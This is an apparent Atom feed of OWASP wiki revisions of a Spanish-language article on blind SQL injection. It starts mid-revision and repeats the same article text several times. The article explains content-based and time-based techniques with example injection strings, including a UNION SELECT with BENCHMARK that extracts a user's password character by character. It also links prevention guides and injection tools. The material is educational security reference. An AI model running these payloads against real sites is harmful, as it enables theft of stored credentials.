&amp;lt;pre&amp;gt;1 UNION SELECT IF(SUBSTRING(user_password,1,1) = CHAR(50),BENCHMARK(5000000,ENCODE(‘MSG’,'by 5 seconds’)),null) FROM users WHERE user_id = 1;&amp;lt;/pre&amp;gt;&lt;br /&gt;
Si la base de datos toma un tiempo en responder, nosotors podemos deducir que el primer carácter del password del usuario con el “user_id=1″ sea “2″&lt;br /&gt;
&amp;lt;pre&amp;gt;(CHAR(50) == ’2′)&amp;lt;/pre&amp;gt;&lt;br /&gt;
Usando este metodo para el resto de carácteres, es posible enumerar contraseñas enteras almacenadas en la BBDD. Este metodo traba incluso cuando el atacante inyecta consultas SQL y el contenido de la página vulnerable no cambia.&lt;br /&gt;
&lt;br /&gt;
Obviamente, en este ejemplo, los nombres de las tablas y el número de columnas fue especificado. Sin embargo, es posible adivinarlos también o probar con un metodo de ensayo y error.&lt;br /&gt;
&lt;br /&gt;
Las bases de datos distintaas de MySQL tambien tienen funciones basadas en tiempo que podrían ser usas para ataques basados en tiempo:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;strong&amp;gt;MS SQL&amp;lt;/strong&amp;gt; ‘WAIT FOR DELAY ’0:0:10&lt;br /&gt;
PostgreSQL – pg_sleep()&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
Same as for [[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
==Ataques Relacionados [[Attacks]]==&lt;br /&gt;
* [[Blind_XPath_Injection]]&lt;br /&gt;
* [[SQL_Injection]]&lt;br /&gt;
* [[XPATH_Injection]]&lt;br /&gt;
* [[LDAP_injection]]&lt;br /&gt;
* [[Server-Side_Includes_%28SSI%29_Injection]]&lt;br /&gt;
&lt;br /&gt;
==Relacionadas [[Vulnerabilities]]==&lt;br /&gt;
* [[Injection_problem]]&lt;br /&gt;
&lt;br /&gt;
==Relacionados [[Controls]]==&lt;br /&gt;
* [[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on how to [[Guide to SQL Injection | Avoid SQL Injection]] Vulnerabilities.&lt;br /&gt;
&amp;lt;br&amp;gt;See the OWASP [[SQL Injection Prevention Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing Code for SQL Injection|Review Code for SQL Injection]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to [[Testing for SQL Injection    (OWASP-DV-005)|Test for SQL Injection]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
==Referencias==&lt;br /&gt;
* http://www.cgisecurity.com/questions/blindsql.shtml&lt;br /&gt;
* http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html&lt;br /&gt;
* http://www.securitydocs.com/library/2651&lt;br /&gt;
* http://seclists.org/bugtraq/2005/Feb/0288.html&lt;br /&gt;
* http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/&lt;br /&gt;
&lt;br /&gt;
'''Recursos Online'''&lt;br /&gt;
* [http://www.nccgroup.com/Libraries/Document_Downloads/more__Advanced_SQL_Injection.sflb.ashx more Advanced SQL Injection] - by NGS&lt;br /&gt;
* [http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-hotchkies/bh-us-04-hotchkies.pdf Blind SQL Injection Automation Techniques] - Black Hat Pdf&lt;br /&gt;
* [http://seclists.org/lists/bugtraq/2005/Feb/0288.html Blind Sql-Injection in MySQL Databases]&lt;br /&gt;
* [http://www.cgisecurity.com/questions/blindsql.shtml Cgisecurity.com: What is Blind SQL Injection?]&lt;br /&gt;
* Kevin Spett from SPI Dynamics: http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf&lt;br /&gt;
* http://www.imperva.com/resources/whitepapers.asp?t=ADC&lt;br /&gt;
* [https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt Advanced SQL Injection]&lt;br /&gt;
&lt;br /&gt;
'''Herramientas'''&lt;br /&gt;
* [http://www.sqlpowerinjector.com/ SQL Power Injector]&lt;br /&gt;
* [http://www.0x90.org/releases/absinthe/ Absinthe :: Automated Blind SQL Injection] // ver1.3.1&lt;br /&gt;
* [http://www.securiteam.com/tools/5IP0L20I0E.html SQLBrute - Multi Threaded Blind SQL Injection Bruteforcer] in Python&lt;br /&gt;
* [[:Category:OWASP_SQLiX_Project|SQLiX - SQL Injection Scanner]] in Perl&lt;br /&gt;
* [http://sqlmap.org/ sqlmap, automatic SQL injection tool] in Python&lt;br /&gt;
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category: Attack]]&lt;/div&gt;</summary>
		<author><name>AcE</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Inyecci%C3%B3n_SQL_Ciega&amp;diff=198115</id>
		<title>Inyección SQL Ciega</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Inyecci%C3%B3n_SQL_Ciega&amp;diff=198115"/>
				<updated>2015-07-29T23:49:55Z</updated>
		
		<summary type="html">&lt;p&gt;AcE: /* Threat Modeling */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
[[Category:Security Focus Area]]&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Descripción==&lt;br /&gt;
Ataque a ciegas por inyección SQL, en inglés, Blind SQL injection, es una técnica de ataque que utiliza la inyección SQL. Se evidencia cuando en una página web, por una falla de seguridad, no se muestran mensajes de error al no producirse resultados correctos ante una consulta a la base de datos, mostrándose siempre el mismo contenido (es decir, solo hay respuesta si el resultado es correcto).&lt;br /&gt;
&lt;br /&gt;
Sentencias condicionales con el tipo “Or 1=1″ o “having 1=1″ ofrecen respuestas siempre correctas (true o verdadero) por lo cual suelen ser usadas por los programadores como formas de comprobación. El problema para la seguridad de la página radica en que esta técnica es utilizada en combinación con diccionarios o fuerza bruta para la búsqueda, carácter por carácter, de una contraseña, un nombre de usuario, un número de teléfono o cualquier otra información que albergue la base de datos atacada; para ello se utiliza código SQL específico que “va probando” cada carácter consiguiendo un resultado positivo acumulable cuando hay una coincidencia. De esta manera se puede saber, por ejemplo, que una contraseña comienza por “F…”, luego continúa con “.i…”, y luego “..r…”, etc (acumula Fir…), hasta dar con la palabra completa.&lt;br /&gt;
&lt;br /&gt;
Existen programas que automatizan este proceso de “tanteos” letra por letra en el resultado de la consulta SQL, que un intruso podría enviar inyectado.&lt;br /&gt;
&lt;br /&gt;
==Modelando Amenazas==&lt;br /&gt;
Igual que [[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
Same as for [[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
==Ejemplos ==&lt;br /&gt;
Un atacante puede verificar si una solicitud enviada regresó verdadero o falso de varias formas:&lt;br /&gt;
&lt;br /&gt;
===Basado en el contenido===&lt;br /&gt;
El uso de una simple página, que muestra un artículo con ID dado como parámetro, el atacante puede realizar un par de pruebas sencillas para determinar si la página es vulnerable a ataques de inyección SQL.&lt;br /&gt;
&lt;br /&gt;
URL de ejemplo:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://newspaper.com/items.php?id=2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
envía la siguiente consulta a la base de datos&lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT title, description, body FROM items WHERE ID = 2&amp;lt;/pre&amp;gt;&lt;br /&gt;
el atacante puede entonces intentar que devuelva ‘falso’:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://newspaper.com/items.php?id=2 and 1=2&amp;lt;/pre&amp;gt;&lt;br /&gt;
ahora la consulta SQL quedaría tal que así:&lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT title, description, body FROM items WHERE ID = 2 and 1=2&amp;lt;/pre&amp;gt;&lt;br /&gt;
Si la aplicación web es vulnerable a SQL Injection, entonces es proble que no devuelva nada. Para asegurarse, el atacante injectará una consulta que devuelva ‘verdadero’:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://newspaper.com/items.php?id=2 and 1=1&amp;lt;/pre&amp;gt;&lt;br /&gt;
Si el contenido de la pagina que devuelve ‘verdadero’ difiere de la página que devolvió ‘falso’, entonces el atacante es capaz de distinguir cuando la consulta ejecutada es verdadera o falsa.&lt;br /&gt;
&lt;br /&gt;
Una vez que esto ha sido verificado, la única limitación son los privilegios puesto por el administrador de la BBDD, diferente sintaxis sql y la imaginación del atacante.&lt;br /&gt;
&lt;br /&gt;
===Basada en tiempo===&lt;br /&gt;
&lt;br /&gt;
Este tipo de inyección SQL ciega se basa en pausar la BBDD por un tiempo especificado, para que posteriormente devuelva los resultados, indicando que la consulta triunfo&lt;br /&gt;
Usando este metodo, un atacante enumera cada letra de la porción de datos que desea leer usando la siguiente lógica:&lt;br /&gt;
&lt;br /&gt;
Si la primera letra del nombre de la primera BBDD es una “A”, esperar 10 segundos.&lt;br /&gt;
&lt;br /&gt;
Si la primera letra del nombre de la primera BBDD es una “B”, esperar 10 segundos, etc…&lt;br /&gt;
&lt;br /&gt;
Así con cada letra, si la respuesta tarda diez segundos es que es la letra por la que preguntamos si no es así continuamos con la siguiente.&lt;br /&gt;
&amp;lt;h3&amp;gt;EJEMPLOS&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;strong&amp;gt;Microsoft SQL Server&amp;lt;/strong&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.site.com/vulnerable.php?id=1′ waitfor delay ’00:00:10′–&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;strong&amp;gt;MySQL&amp;lt;/strong&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT IF(expression, true, false)&amp;lt;/pre&amp;gt;&lt;br /&gt;
Usando alguna operación que tome un tiempo considerable en realizarse por ejemplo BENCHMARK(), esto causará un retardo en la respuesta si la consulta es “Verdadera”&lt;br /&gt;
&amp;lt;pre&amp;gt;BENCHMARK(5000000,ENCODE(‘MSG’,'by 5 seconds’))&amp;lt;/pre&amp;gt;&lt;br /&gt;
- ejecutará la función ENCODE 5000000 veces.&lt;br /&gt;
&lt;br /&gt;
Dependiendo de la carga y el rendimiento del servidor de base de datos, esto debería de tomar solo un momento para terminar. Lo importante es, desde el punto de vista del atacante, especificar un número de repeticiones lo suficientemente alto como para afectar al tiempo de respuesta de manera notable.&lt;br /&gt;
&lt;br /&gt;
Ejemplo de la combinación de ambas consultas:&lt;br /&gt;
&amp;lt;pre&amp;gt;1 UNION SELECT IF(SUBSTRING(user_password,1,1) = CHAR(50),BENCHMARK(5000000,ENCODE(‘MSG’,'by 5 seconds’)),null) FROM users WHERE user_id = 1;&amp;lt;/pre&amp;gt;&lt;br /&gt;
Si la base de datos toma un tiempo en responder, nosotors podemos deducir que el primer carácter del password del usuario con el “user_id=1″ sea “2″&lt;br /&gt;
&amp;lt;pre&amp;gt;(CHAR(50) == ’2′)&amp;lt;/pre&amp;gt;&lt;br /&gt;
Usando este metodo para el resto de carácteres, es posible enumerar contraseñas enteras almacenadas en la BBDD. Este metodo traba incluso cuando el atacante inyecta consultas SQL y el contenido de la página vulnerable no cambia.&lt;br /&gt;
&lt;br /&gt;
Obviamente, en este ejemplo, los nombres de las tablas y el número de columnas fue especificado. Sin embargo, es posible adivinarlos también o probar con un metodo de ensayo y error.&lt;br /&gt;
&lt;br /&gt;
Las bases de datos distintaas de MySQL tambien tienen funciones basadas en tiempo que podrían ser usas para ataques basados en tiempo:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;strong&amp;gt;MS SQL&amp;lt;/strong&amp;gt; ‘WAIT FOR DELAY ’0:0:10&lt;br /&gt;
PostgreSQL – pg_sleep()&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
Same as for [[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
==Ataques Relacionados [[Attacks]]==&lt;br /&gt;
* [[Blind_XPath_Injection]]&lt;br /&gt;
* [[SQL_Injection]]&lt;br /&gt;
* [[XPATH_Injection]]&lt;br /&gt;
* [[LDAP_injection]]&lt;br /&gt;
* [[Server-Side_Includes_%28SSI%29_Injection]]&lt;br /&gt;
&lt;br /&gt;
==Relacionadas [[Vulnerabilities]]==&lt;br /&gt;
* [[Injection_problem]]&lt;br /&gt;
&lt;br /&gt;
==Relacionados [[Controls]]==&lt;br /&gt;
* [[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on how to [[Guide to SQL Injection | Avoid SQL Injection]] Vulnerabilities.&lt;br /&gt;
&amp;lt;br&amp;gt;See the OWASP [[SQL Injection Prevention Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing Code for SQL Injection|Review Code for SQL Injection]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to [[Testing for SQL Injection    (OWASP-DV-005)|Test for SQL Injection]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
==Referencias==&lt;br /&gt;
* http://www.cgisecurity.com/questions/blindsql.shtml&lt;br /&gt;
* http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html&lt;br /&gt;
* http://www.securitydocs.com/library/2651&lt;br /&gt;
* http://seclists.org/bugtraq/2005/Feb/0288.html&lt;br /&gt;
* http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/&lt;br /&gt;
&lt;br /&gt;
'''Recursos Online'''&lt;br /&gt;
* [http://www.nccgroup.com/Libraries/Document_Downloads/more__Advanced_SQL_Injection.sflb.ashx more Advanced SQL Injection] - by NGS&lt;br /&gt;
* [http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-hotchkies/bh-us-04-hotchkies.pdf Blind SQL Injection Automation Techniques] - Black Hat Pdf&lt;br /&gt;
* [http://seclists.org/lists/bugtraq/2005/Feb/0288.html Blind Sql-Injection in MySQL Databases]&lt;br /&gt;
* [http://www.cgisecurity.com/questions/blindsql.shtml Cgisecurity.com: What is Blind SQL Injection?]&lt;br /&gt;
* Kevin Spett from SPI Dynamics: http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf&lt;br /&gt;
* http://www.imperva.com/resources/whitepapers.asp?t=ADC&lt;br /&gt;
* [https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt Advanced SQL Injection]&lt;br /&gt;
&lt;br /&gt;
'''Herramientas'''&lt;br /&gt;
* [http://www.sqlpowerinjector.com/ SQL Power Injector]&lt;br /&gt;
* [http://www.0x90.org/releases/absinthe/ Absinthe :: Automated Blind SQL Injection] // ver1.3.1&lt;br /&gt;
* [http://www.securiteam.com/tools/5IP0L20I0E.html SQLBrute - Multi Threaded Blind SQL Injection Bruteforcer] in Python&lt;br /&gt;
* [[:Category:OWASP_SQLiX_Project|SQLiX - SQL Injection Scanner]] in Perl&lt;br /&gt;
* [http://sqlmap.org/ sqlmap, automatic SQL injection tool] in Python&lt;br /&gt;
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category: Attack]]&lt;/div&gt;</summary>
		<author><name>AcE</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Inyecci%C3%B3n_SQL_Ciega&amp;diff=198114</id>
		<title>Inyección SQL Ciega</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Inyecci%C3%B3n_SQL_Ciega&amp;diff=198114"/>
				<updated>2015-07-29T23:48:46Z</updated>
		
		<summary type="html">&lt;p&gt;AcE: Created page with &amp;quot;{{Template:Attack}} Category:OWASP ASDR Project Category:Security Focus Area __NOTOC__ &amp;lt;br&amp;gt;  Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONY...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
[[Category:Security Focus Area]]&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Descripción==&lt;br /&gt;
Ataque a ciegas por inyección SQL, en inglés, Blind SQL injection, es una técnica de ataque que utiliza la inyección SQL. Se evidencia cuando en una página web, por una falla de seguridad, no se muestran mensajes de error al no producirse resultados correctos ante una consulta a la base de datos, mostrándose siempre el mismo contenido (es decir, solo hay respuesta si el resultado es correcto).&lt;br /&gt;
&lt;br /&gt;
Sentencias condicionales con el tipo “Or 1=1″ o “having 1=1″ ofrecen respuestas siempre correctas (true o verdadero) por lo cual suelen ser usadas por los programadores como formas de comprobación. El problema para la seguridad de la página radica en que esta técnica es utilizada en combinación con diccionarios o fuerza bruta para la búsqueda, carácter por carácter, de una contraseña, un nombre de usuario, un número de teléfono o cualquier otra información que albergue la base de datos atacada; para ello se utiliza código SQL específico que “va probando” cada carácter consiguiendo un resultado positivo acumulable cuando hay una coincidencia. De esta manera se puede saber, por ejemplo, que una contraseña comienza por “F…”, luego continúa con “.i…”, y luego “..r…”, etc (acumula Fir…), hasta dar con la palabra completa.&lt;br /&gt;
&lt;br /&gt;
Existen programas que automatizan este proceso de “tanteos” letra por letra en el resultado de la consulta SQL, que un intruso podría enviar inyectado.&lt;br /&gt;
&lt;br /&gt;
==Threat Modeling==&lt;br /&gt;
Same as for [[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
Same as for [[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
==Ejemplos ==&lt;br /&gt;
Un atacante puede verificar si una solicitud enviada regresó verdadero o falso de varias formas:&lt;br /&gt;
&lt;br /&gt;
===Basado en el contenido===&lt;br /&gt;
El uso de una simple página, que muestra un artículo con ID dado como parámetro, el atacante puede realizar un par de pruebas sencillas para determinar si la página es vulnerable a ataques de inyección SQL.&lt;br /&gt;
&lt;br /&gt;
URL de ejemplo:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://newspaper.com/items.php?id=2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
envía la siguiente consulta a la base de datos&lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT title, description, body FROM items WHERE ID = 2&amp;lt;/pre&amp;gt;&lt;br /&gt;
el atacante puede entonces intentar que devuelva ‘falso’:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://newspaper.com/items.php?id=2 and 1=2&amp;lt;/pre&amp;gt;&lt;br /&gt;
ahora la consulta SQL quedaría tal que así:&lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT title, description, body FROM items WHERE ID = 2 and 1=2&amp;lt;/pre&amp;gt;&lt;br /&gt;
Si la aplicación web es vulnerable a SQL Injection, entonces es proble que no devuelva nada. Para asegurarse, el atacante injectará una consulta que devuelva ‘verdadero’:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://newspaper.com/items.php?id=2 and 1=1&amp;lt;/pre&amp;gt;&lt;br /&gt;
Si el contenido de la pagina que devuelve ‘verdadero’ difiere de la página que devolvió ‘falso’, entonces el atacante es capaz de distinguir cuando la consulta ejecutada es verdadera o falsa.&lt;br /&gt;
&lt;br /&gt;
Una vez que esto ha sido verificado, la única limitación son los privilegios puesto por el administrador de la BBDD, diferente sintaxis sql y la imaginación del atacante.&lt;br /&gt;
&lt;br /&gt;
===Basada en tiempo===&lt;br /&gt;
&lt;br /&gt;
Este tipo de inyección SQL ciega se basa en pausar la BBDD por un tiempo especificado, para que posteriormente devuelva los resultados, indicando que la consulta triunfo&lt;br /&gt;
Usando este metodo, un atacante enumera cada letra de la porción de datos que desea leer usando la siguiente lógica:&lt;br /&gt;
&lt;br /&gt;
Si la primera letra del nombre de la primera BBDD es una “A”, esperar 10 segundos.&lt;br /&gt;
&lt;br /&gt;
Si la primera letra del nombre de la primera BBDD es una “B”, esperar 10 segundos, etc…&lt;br /&gt;
&lt;br /&gt;
Así con cada letra, si la respuesta tarda diez segundos es que es la letra por la que preguntamos si no es así continuamos con la siguiente.&lt;br /&gt;
&amp;lt;h3&amp;gt;EJEMPLOS&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;strong&amp;gt;Microsoft SQL Server&amp;lt;/strong&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.site.com/vulnerable.php?id=1′ waitfor delay ’00:00:10′–&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;strong&amp;gt;MySQL&amp;lt;/strong&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT IF(expression, true, false)&amp;lt;/pre&amp;gt;&lt;br /&gt;
Usando alguna operación que tome un tiempo considerable en realizarse por ejemplo BENCHMARK(), esto causará un retardo en la respuesta si la consulta es “Verdadera”&lt;br /&gt;
&amp;lt;pre&amp;gt;BENCHMARK(5000000,ENCODE(‘MSG’,'by 5 seconds’))&amp;lt;/pre&amp;gt;&lt;br /&gt;
- ejecutará la función ENCODE 5000000 veces.&lt;br /&gt;
&lt;br /&gt;
Dependiendo de la carga y el rendimiento del servidor de base de datos, esto debería de tomar solo un momento para terminar. Lo importante es, desde el punto de vista del atacante, especificar un número de repeticiones lo suficientemente alto como para afectar al tiempo de respuesta de manera notable.&lt;br /&gt;
&lt;br /&gt;
Ejemplo de la combinación de ambas consultas:&lt;br /&gt;
&amp;lt;pre&amp;gt;1 UNION SELECT IF(SUBSTRING(user_password,1,1) = CHAR(50),BENCHMARK(5000000,ENCODE(‘MSG’,'by 5 seconds’)),null) FROM users WHERE user_id = 1;&amp;lt;/pre&amp;gt;&lt;br /&gt;
Si la base de datos toma un tiempo en responder, nosotors podemos deducir que el primer carácter del password del usuario con el “user_id=1″ sea “2″&lt;br /&gt;
&amp;lt;pre&amp;gt;(CHAR(50) == ’2′)&amp;lt;/pre&amp;gt;&lt;br /&gt;
Usando este metodo para el resto de carácteres, es posible enumerar contraseñas enteras almacenadas en la BBDD. Este metodo traba incluso cuando el atacante inyecta consultas SQL y el contenido de la página vulnerable no cambia.&lt;br /&gt;
&lt;br /&gt;
Obviamente, en este ejemplo, los nombres de las tablas y el número de columnas fue especificado. Sin embargo, es posible adivinarlos también o probar con un metodo de ensayo y error.&lt;br /&gt;
&lt;br /&gt;
Las bases de datos distintaas de MySQL tambien tienen funciones basadas en tiempo que podrían ser usas para ataques basados en tiempo:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;strong&amp;gt;MS SQL&amp;lt;/strong&amp;gt; ‘WAIT FOR DELAY ’0:0:10&lt;br /&gt;
PostgreSQL – pg_sleep()&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
Same as for [[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
==Ataques Relacionados [[Attacks]]==&lt;br /&gt;
* [[Blind_XPath_Injection]]&lt;br /&gt;
* [[SQL_Injection]]&lt;br /&gt;
* [[XPATH_Injection]]&lt;br /&gt;
* [[LDAP_injection]]&lt;br /&gt;
* [[Server-Side_Includes_%28SSI%29_Injection]]&lt;br /&gt;
&lt;br /&gt;
==Relacionadas [[Vulnerabilities]]==&lt;br /&gt;
* [[Injection_problem]]&lt;br /&gt;
&lt;br /&gt;
==Relacionados [[Controls]]==&lt;br /&gt;
* [[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on how to [[Guide to SQL Injection | Avoid SQL Injection]] Vulnerabilities.&lt;br /&gt;
&amp;lt;br&amp;gt;See the OWASP [[SQL Injection Prevention Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing Code for SQL Injection|Review Code for SQL Injection]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to [[Testing for SQL Injection    (OWASP-DV-005)|Test for SQL Injection]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
==Referencias==&lt;br /&gt;
* http://www.cgisecurity.com/questions/blindsql.shtml&lt;br /&gt;
* http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html&lt;br /&gt;
* http://www.securitydocs.com/library/2651&lt;br /&gt;
* http://seclists.org/bugtraq/2005/Feb/0288.html&lt;br /&gt;
* http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/&lt;br /&gt;
&lt;br /&gt;
'''Recursos Online'''&lt;br /&gt;
* [http://www.nccgroup.com/Libraries/Document_Downloads/more__Advanced_SQL_Injection.sflb.ashx more Advanced SQL Injection] - by NGS&lt;br /&gt;
* [http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-hotchkies/bh-us-04-hotchkies.pdf Blind SQL Injection Automation Techniques] - Black Hat Pdf&lt;br /&gt;
* [http://seclists.org/lists/bugtraq/2005/Feb/0288.html Blind Sql-Injection in MySQL Databases]&lt;br /&gt;
* [http://www.cgisecurity.com/questions/blindsql.shtml Cgisecurity.com: What is Blind SQL Injection?]&lt;br /&gt;
* Kevin Spett from SPI Dynamics: http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf&lt;br /&gt;
* http://www.imperva.com/resources/whitepapers.asp?t=ADC&lt;br /&gt;
* [https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt Advanced SQL Injection]&lt;br /&gt;
&lt;br /&gt;
'''Herramientas'''&lt;br /&gt;
* [http://www.sqlpowerinjector.com/ SQL Power Injector]&lt;br /&gt;
* [http://www.0x90.org/releases/absinthe/ Absinthe :: Automated Blind SQL Injection] // ver1.3.1&lt;br /&gt;
* [http://www.securiteam.com/tools/5IP0L20I0E.html SQLBrute - Multi Threaded Blind SQL Injection Bruteforcer] in Python&lt;br /&gt;
* [[:Category:OWASP_SQLiX_Project|SQLiX - SQL Injection Scanner]] in Perl&lt;br /&gt;
* [http://sqlmap.org/ sqlmap, automatic SQL injection tool] in Python&lt;br /&gt;
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category: Attack]]&lt;/div&gt;</summary>
		<author><name>AcE</name></author>	</entry>

	</feed>